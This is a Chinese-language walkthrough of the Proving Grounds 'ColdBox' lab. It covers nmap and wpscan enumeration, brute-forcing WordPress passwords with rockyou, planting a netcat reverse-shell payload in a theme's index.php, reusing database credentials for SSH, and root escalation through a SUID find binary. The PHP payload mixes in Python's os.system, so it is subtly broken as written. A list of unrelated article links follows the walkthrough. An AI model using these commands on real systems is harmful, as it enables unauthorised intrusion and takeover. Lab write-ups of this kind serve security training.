当前位置: 首页 > news >正文

Proving Grounds Play ColdBoxEasy Walkthrough

前言

此靶机来自Proving Grounds Play

在本实验中,你将对一个 WordPress 网站进行信息收集,通过暴力破解获取用户凭据,并利用 PHP 反向shell 获得初始访问权限。随后,你将利用 SUID 二进制文件提升权限,从而获得 root 权限。

以下讲述攻击渗透过程,靶机IP地址请忽略,目标IP地址已做脱敏处理。!

注意:本文仅探讨解题方法,所述技术严禁用于任何非法网络行为!!!

枚举

建议先使用nmap进行端口扫描,当然您也可以选择其他熟悉的工具。请注意,演示中的靶机IP地址仅供参考。

sudo nmap -sT 192.168.*.* -p- --min-rate 10000

获取存活端口后,下一步自然是对这些端口进行全面扫描,以获取服务版本、系统类型及操作系统等详细信息。

sudo nmap -sV -A -O 192.168.*.* -p 80,4512 --min-rate 10000

WEB 枚举

根据nmap扫描结果显示,靶机开放了两个服务:80端口运行WordPress网站,4512端口提供SSH服务。我们首先将重点放在80端口的Web服务上。

WordPress

WPScan

访问WordPress首页后,运行wpscan工具扫描网站,检测是否存在过时的插件或暴露的用户名信息。

wpscan --url http://192.168.*.*/ -eu --api-token=yuoCt******************************

从扫描结果中,发现了三个用户,philip、c0ldd、hugo。

接下来使用wpscan对这三个账号进行密码爆破,尝试下能不能得到其中一个用户的密码。将三个用户名放至username.txt文件,密码字典使用rockyou.txt。

wpscan --url http://192.168.*.*/ -U ./play/username.txt -P ./rockyou.txt

等在一段时间,成功得到c0ldd的账密。

RCE

通过此账密登录到wordpress后台管理界面,然后在Themes中编辑index.php,将payload注入到页面中。

<?php os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.*.* 80 >/tmp/f'); ?>

在本地开启监听端口,访问站点主页准备接收shell。

提权

根据经验wp-config.php文件中,可能会存有数据库的用户名及密码。查看这个文件果然发现了一组账密。c0ldd:cy!*********

虽然得到的是数据库的账密,但是尝试下SSH登录是否能成功。不出所料,此用户使用相同的密码在SSH上,现在就拿到了c0ldd用户的权限了。

接下来,我们要拿到root权限。再各种排查后,发现了find命令,存在SUID权限。可以通过此问题进行提权。

find / -perm -u=s -type f 2>/dev/null

那么接下来就可以提权到root了

find . -exec /bin/sh -p \; -quit

成功提权至root。

如有问题或建议,欢迎私信进行技术讨论哦!!!

http://www.cnnetsun.cn/news/1829004.html

相关文章:

  • OpenRocket火箭仿真软件:从零开始设计完美模型的终极指南
  • RT-1深度解析:如何通过Transformer架构实现机器人控制的规模化泛化
  • 你的macOS菜单栏太乱了?3个步骤让Ice帮你彻底整理干净
  • 如何永久保存微信聊天记录?WeChatMsg数据自主管理完整指南
  • 【Unity3D】关于TextMesh Pro中的字体资产生成汉字不全的问题即解决方案
  • QMC音频解码器:3分钟解锁QQ音乐加密文件,实现全平台音乐自由
  • MBQ实战:视觉语言模型量化部署的效率革命
  • 收藏!AI时代程序员如何不掉队,甚至起飞?
  • Fish Speech 1.5多场景:会议纪要转语音、邮件摘要播报、待办提醒合成
  • C#路径转换实战:从绝对路径到相对路径的高效实现
  • 【实战】海康摄像头RTSP流媒体连接中的特殊字符陷阱:从401错误到URL编码的终极解决
  • LLM服务版本管理实战手册(2024年头部AI团队内部流出版)
  • Vue + Iframe 实战:打造企业级流程配置中心潭
  • 2026届毕业生推荐的十大AI论文工具推荐
  • CUDA P2P技术在多GPU内存高效传输中的应用与优化
  • Steam Economy Enhancer:Steam交易效率提升87%的终极解决方案
  • 从原理到临床:深度解析MRI特殊与辅助成像技术的协同应用
  • 如何高效使用智能激活工具:KMS_VL_ALL_AIO完整实践指南
  • 区块链技术在iPaaS系统集成中的应用
  • 告别臃肿官方软件:惠普暗影精灵笔记本的终极性能管理方案OmenSuperHub
  • 为什么你的大模型无法回滚:从Docker镜像、权重哈希、Prompt Schema到推理API契约的全链路版本断点分析
  • STM32F103C8T6实战:R9DS接收机SBUS信号解析与舵机控制
  • Python实战:用NumPy轻松搞定n维矩阵特征向量计算(附完整代码)
  • PyTorch梯度累积实战:如何用4GB显存训练ResNet50(附完整代码)
  • Umi-CUT:图片批量处理的终极解决方案,三步实现自动化编辑
  • 【地理探测器】实战:从方差分解到风险区划,四步解锁空间分异密码
  • 如何快速解决安卓连接问题:终极ADB驱动安装完整指南
  • Meta新模型Muse Spark,能否逆袭AI战场?
  • 微软发布的《生成式人工智能初学者.NET 第二版》课程纫
  • Word+正则表达式:三步搞定批量图片题注(手把手教程)